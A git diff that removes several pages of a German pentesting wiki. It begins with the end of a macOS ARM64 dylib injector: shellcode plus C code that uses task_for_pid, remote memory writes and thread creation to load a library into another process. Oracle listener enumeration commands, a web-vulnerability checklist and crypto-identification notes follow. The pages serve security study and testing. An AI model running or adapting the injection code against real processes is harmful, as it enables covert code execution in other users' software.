"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
||||
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
||||
|
||||
// Call pthread_exit
|
||||
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
||||
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
||||
|
||||
"PTHRDCRT" // <-
|
||||
"PTHRDEXT" // <-
|
||||
"DLOPEN__" // <-
|
||||
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
||||
|
||||
|
||||
|
||||
|
||||
int inject(pid_t pid, const char *lib) {
|
||||
|
||||
task_t remoteTask;
|
||||
struct stat buf;
|
||||
|
||||
// Check if the library exists
|
||||
int rc = stat (lib, &buf);
|
||||
|
||||
if (rc != 0)
|
||||
{
|
||||
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
||||
//return (-9);
|
||||
}
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Patch shellcode
|
||||
|
||||
int i = 0;
|
||||
char *possiblePatchLocation = (injectedCode );
|
||||
for (i = 0 ; i < 0x100; i++)
|
||||
{
|
||||
|
||||
// Patching is crude, but works.
|
||||
//
|
||||
extern void *_pthread_set_self;
|
||||
possiblePatchLocation++;
|
||||
|
||||
|
||||
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
||||
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
||||
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
||||
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
||||
}
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
||||
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf ("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib );
|
||||
}
|
||||
}
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat (action, &buf);
|
||||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### Thread Hijacking via Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
In dieser Technik wird ein Thread des Prozesses hijacked:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
|
||||
{{#endref}}
|
||||
|
||||
## XPC
|
||||
|
||||
### Grundlegende Informationen
|
||||
|
||||
XPC, was für XNU (den von macOS verwendeten Kernel) inter-Process Communication steht, ist ein Framework für **Kommunikation zwischen Prozessen** auf macOS und iOS. XPC bietet einen Mechanismus für **sichere, asynchrone Methodenaufrufe zwischen verschiedenen Prozessen** im System. Es ist Teil von Apples Sicherheitsparadigma und ermöglicht die **Erstellung von privilegierten Anwendungen**, bei denen jede **Komponente** nur mit **den Berechtigungen läuft, die sie benötigt**, um ihre Aufgabe zu erfüllen, wodurch der potenzielle Schaden durch einen kompromittierten Prozess begrenzt wird.
|
||||
|
||||
Für weitere Informationen darüber, wie diese **Kommunikation funktioniert** und wie sie **anfällig sein könnte**, siehe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
|
||||
{{#endref}}
|
||||
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
MIG wurde entwickelt, um **den Prozess der Mach IPC** Codeerstellung zu **vereinfachen**. Es **generiert im Wesentlichen den benötigten Code** für Server und Client, um mit einer gegebenen Definition zu kommunizieren. Auch wenn der generierte Code unansehnlich ist, muss ein Entwickler ihn nur importieren, und sein Code wird viel einfacher sein als zuvor.
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
@ -1,61 +0,0 @@
|
||||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der normalerweise auf dem Standardport (1521/TCP, -es können auch sekundäre Listener auf 1522–1529 vorhanden sein-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## Zusammenfassung
|
||||
|
||||
1. **Versionsenumeration**: Identifizieren Sie Versionsinformationen, um nach bekannten Schwachstellen zu suchen.
|
||||
2. **TNS Listener Bruteforce**: Manchmal notwendig, um die Kommunikation herzustellen.
|
||||
3. **SID Name Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID).
|
||||
4. **Credential Bruteforce**: Versuchen Sie, auf die entdeckte SID zuzugreifen.
|
||||
5. **Codeausführung**: Versuchen Sie, Code auf dem System auszuführen.
|
||||
|
||||
Um die MSF Oracle-Module zu verwenden, müssen Sie einige Abhängigkeiten installieren: [**Installation**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Beiträge
|
||||
|
||||
Überprüfen Sie diese Beiträge:
|
||||
|
||||
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks Automatische Befehle
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,129 +0,0 @@
|
||||
# Web Vulnerabilities Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In jedem Web-Pentest gibt es **mehrere versteckte und offensichtliche Stellen, die anfällig sein könnten**. Dieser Beitrag soll als Checkliste dienen, um zu bestätigen, dass Sie nach Schwachstellen an allen möglichen Stellen gesucht haben.
|
||||
|
||||
## Proxies
|
||||
|
||||
> [!TIP]
|
||||
> Heutzutage **verwenden** **Web** **Anwendungen** normalerweise eine Art von **vermittelnden** **Proxys**, die (missbraucht) werden können, um Schwachstellen auszunutzen. Diese Schwachstellen benötigen einen anfälligen Proxy, müssen aber normalerweise auch eine zusätzliche Schwachstelle im Backend aufweisen.
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **Benutzereingaben**
|
||||
|
||||
> [!TIP]
|
||||
> Die meisten Webanwendungen **erlauben Benutzern, einige Daten einzugeben, die später verarbeitet werden.**\
|
||||
> Abhängig von der Struktur der Daten, die der Server erwartet, können einige Schwachstellen zutreffen oder auch nicht.
|
||||
|
||||
### **Reflektierte Werte**
|
||||
|
||||
Wenn die eingegebenen Daten irgendwie in der Antwort reflektiert werden, könnte die Seite anfällig für mehrere Probleme sein.
|
||||
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
Einige der genannten Schwachstellen erfordern spezielle Bedingungen, andere erfordern nur, dass der Inhalt reflektiert wird. Sie können einige interessante Polyglotten finden, um die Schwachstellen schnell zu testen in:
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
### **Suchfunktionen**
|
||||
|
||||
Wenn die Funktionalität verwendet werden kann, um eine Art von Daten im Backend zu suchen, können Sie sie möglicherweise (missbrauchen), um beliebige Daten zu suchen.
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
|
||||
### **Formulare, WebSockets und PostMsgs**
|
||||
|
||||
Wenn ein Websocket eine Nachricht sendet oder ein Formular es Benutzern ermöglicht, Aktionen auszuführen, können Schwachstellen auftreten.
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP-Header**
|
||||
|
||||
Abhängig von den HTTP-Headern, die vom Webserver bereitgestellt werden, können einige Schwachstellen vorhanden sein.
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Fehlkonfigurationen & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Umgehungen**
|
||||
|
||||
Es gibt mehrere spezifische Funktionen, bei denen einige Workarounds nützlich sein könnten, um sie zu umgehen.
|
||||
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Strukturierte Objekte / Spezifische Funktionen**
|
||||
|
||||
Einige Funktionen erfordern, dass **die Daten in einem sehr spezifischen Format strukturiert sind** (wie ein sprachserialisiertes Objekt oder XML). Daher ist es einfacher zu erkennen, ob die Anwendung anfällig sein könnte, da sie diese Art von Daten verarbeiten muss.\
|
||||
Einige **spezifische Funktionen** können ebenfalls anfällig sein, wenn ein **spezifisches Format der Eingabe verwendet wird** (wie E-Mail-Header-Injektionen).
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/index.html)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Dateien
|
||||
|
||||
Funktionen, die das Hochladen von Dateien ermöglichen, könnten anfällig für mehrere Probleme sein.\
|
||||
Funktionen, die Dateien generieren, die Benutzereingaben enthalten, könnten unerwarteten Code ausführen.\
|
||||
Benutzer, die von Benutzern hochgeladene oder automatisch generierte Dateien mit Benutzereingaben öffnen, könnten gefährdet sein.
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/index.html)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Externe Identitätsverwaltung**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
|
||||
|
||||
### **Andere hilfreiche Schwachstellen**
|
||||
|
||||
Diese Schwachstellen könnten helfen, andere Schwachstellen auszunutzen.
|
||||
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,183 +0,0 @@
|
||||
# Kryptografische/Kompressionsalgorithmen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identifizierung von Algorithmen
|
||||
|
||||
Wenn Sie in einem Code **Rechts- und Linksverschiebungen, Xors und mehrere arithmetische Operationen** verwenden, ist es sehr wahrscheinlich, dass es sich um die Implementierung eines **kryptografischen Algorithmus** handelt. Hier werden einige Möglichkeiten gezeigt, um **den verwendeten Algorithmus zu identifizieren, ohne jeden Schritt umkehren zu müssen**.
|
||||
|
||||
### API-Funktionen
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
Wenn diese Funktion verwendet wird, können Sie herausfinden, welcher **Algorithmus verwendet wird**, indem Sie den Wert des zweiten Parameters überprüfen:
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
Überprüfen Sie hier die Tabelle der möglichen Algorithmen und deren zugewiesene Werte: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
Komprimiert und dekomprimiert einen gegebenen Datenpuffer.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
Aus [den Dokumenten](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Die **CryptAcquireContext**-Funktion wird verwendet, um einen Handle für einen bestimmten Schlüsselcontainer innerhalb eines bestimmten kryptografischen Dienstanbieters (CSP) zu erwerben. **Dieser zurückgegebene Handle wird in Aufrufen von CryptoAPI**-Funktionen verwendet, die den ausgewählten CSP nutzen.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
Initiiert das Hashing eines Datenstroms. Wenn diese Funktion verwendet wird, können Sie herausfinden, welcher **Algorithmus verwendet wird**, indem Sie den Wert des zweiten Parameters überprüfen:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
Überprüfen Sie hier die Tabelle der möglichen Algorithmen und deren zugewiesene Werte: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Code-Konstanten
|
||||
|
||||
Manchmal ist es wirklich einfach, einen Algorithmus zu identifizieren, da er einen speziellen und einzigartigen Wert verwenden muss.
|
||||
|
||||
.png>)
|
||||
|
||||
Wenn Sie die erste Konstante bei Google suchen, erhalten Sie Folgendes:
|
||||
|
||||
.png>)
|
||||
|
||||
Daher können Sie annehmen, dass die dekompilierte Funktion ein **sha256-Rechner** ist.\
|
||||
Sie können jede der anderen Konstanten suchen und Sie werden (wahrscheinlich) das gleiche Ergebnis erhalten.
|
||||
|
||||
### Dateninfo
|
||||
|
||||
Wenn der Code keine signifikante Konstante hat, kann es sein, dass er **Informationen aus dem .data-Bereich lädt**.\
|
||||
Sie können auf diese Daten zugreifen, **die erste dword gruppieren** und sie in Google suchen, wie wir es im vorherigen Abschnitt getan haben:
|
||||
|
||||
.png>)
|
||||
|
||||
In diesem Fall, wenn Sie nach **0xA56363C6** suchen, können Sie feststellen, dass es mit den **Tabellen des AES-Algorithmus** verbunden ist.
|
||||
|
||||
## RC4 **(Symmetrische Kryptografie)**
|
||||
|
||||
### Eigenschaften
|
||||
|
||||
Es besteht aus 3 Hauptteilen:
|
||||
|
||||
- **Initialisierungsphase/**: Erstellt eine **Tabelle von Werten von 0x00 bis 0xFF** (insgesamt 256 Bytes, 0x100). Diese Tabelle wird häufig als **Substitutionsbox** (oder SBox) bezeichnet.
|
||||
- **Scrambling-Phase**: Wird **durch die zuvor erstellte Tabelle** (Schleife von 0x100 Iterationen, erneut) schleifen und jeden Wert mit **semi-zufälligen** Bytes modifizieren. Um diese semi-zufälligen Bytes zu erstellen, wird der RC4 **Schlüssel verwendet**. RC4 **Schlüssel** können **zwischen 1 und 256 Bytes lang** sein, es wird jedoch normalerweise empfohlen, dass sie mehr als 5 Bytes lang sind. Üblicherweise sind RC4-Schlüssel 16 Bytes lang.
|
||||
- **XOR-Phase**: Schließlich wird der Klartext oder Chiffretext mit den zuvor erstellten Werten **XORed**. Die Funktion zum Verschlüsseln und Entschlüsseln ist dieselbe. Dazu wird eine **Schleife durch die erstellten 256 Bytes** so oft durchgeführt, wie es notwendig ist. Dies wird normalerweise in einem dekompilierten Code mit einem **%256 (mod 256)** erkannt.
|
||||
|
||||
> [!TIP]
|
||||
> **Um einen RC4 in einem Disassembly/dekompilierten Code zu identifizieren, können Sie nach 2 Schleifen der Größe 0x100 (unter Verwendung eines Schlüssels) suchen und dann ein XOR der Eingabedaten mit den 256 zuvor in den 2 Schleifen erstellten Werten, wahrscheinlich unter Verwendung eines %256 (mod 256)**
|
||||
|
||||
### **Initialisierungsphase/Substitutionsbox:** (Beachten Sie die Zahl 256, die als Zähler verwendet wird, und wie eine 0 an jedem Platz der 256 Zeichen geschrieben wird)
|
||||
|
||||
.png>)
|
||||
|
||||
### **Scrambling-Phase:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **XOR-Phase:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (Symmetrische Kryptografie)**
|
||||
|
||||
### **Eigenschaften**
|
||||
|
||||
- Verwendung von **Substitutionsboxen und Nachschlagetabellen**
|
||||
- Es ist möglich, **AES anhand der Verwendung spezifischer Nachschlagetabellenwerte** (Konstanten) zu unterscheiden. _Beachten Sie, dass die **Konstante** **im Binärformat gespeichert** oder _**dynamisch erstellt**_ werden kann._
|
||||
- Der **Verschlüsselungsschlüssel** muss **durch 16** (normalerweise 32B) **teilbar** sein, und normalerweise wird ein **IV** von 16B verwendet.
|
||||
|
||||
### SBox-Konstanten
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(Symmetrische Kryptografie)**
|
||||
|
||||
### Eigenschaften
|
||||
|
||||
- Es ist selten, Malware zu finden, die es verwendet, aber es gibt Beispiele (Ursnif)
|
||||
- Einfach zu bestimmen, ob ein Algorithmus Serpent ist oder nicht, basierend auf seiner Länge (extrem lange Funktion)
|
||||
|
||||
### Identifizierung
|
||||
|
||||
In der folgenden Abbildung beachten Sie, wie die Konstante **0x9E3779B9** verwendet wird (beachten Sie, dass diese Konstante auch von anderen Krypto-Algorithmen wie **TEA** -Tiny Encryption Algorithm verwendet wird).\
|
||||
Beachten Sie auch die **Größe der Schleife** (**132**) und die **Anzahl der XOR-Operationen** in den **Disassembly**-Anweisungen und im **Code**-Beispiel:
|
||||
|
||||
.png>)
|
||||
|
||||
Wie bereits erwähnt, kann dieser Code in jedem Decompiler als **sehr lange Funktion** visualisiert werden, da es **keine Sprünge** darin gibt. Der dekompilierte Code kann wie folgt aussehen:
|
||||
|
||||
.png>)
|
||||
|
||||
Daher ist es möglich, diesen Algorithmus zu identifizieren, indem man die **magische Zahl** und die **initialen XORs** überprüft, eine **sehr lange Funktion** sieht und einige **Anweisungen** der langen Funktion **mit einer Implementierung** (wie der Linksverschiebung um 7 und der Linksrotation um 22) vergleicht.
|
||||
|
||||
## RSA **(Asymmetrische Kryptografie)**
|
||||
|
||||
### Eigenschaften
|
||||
|
||||
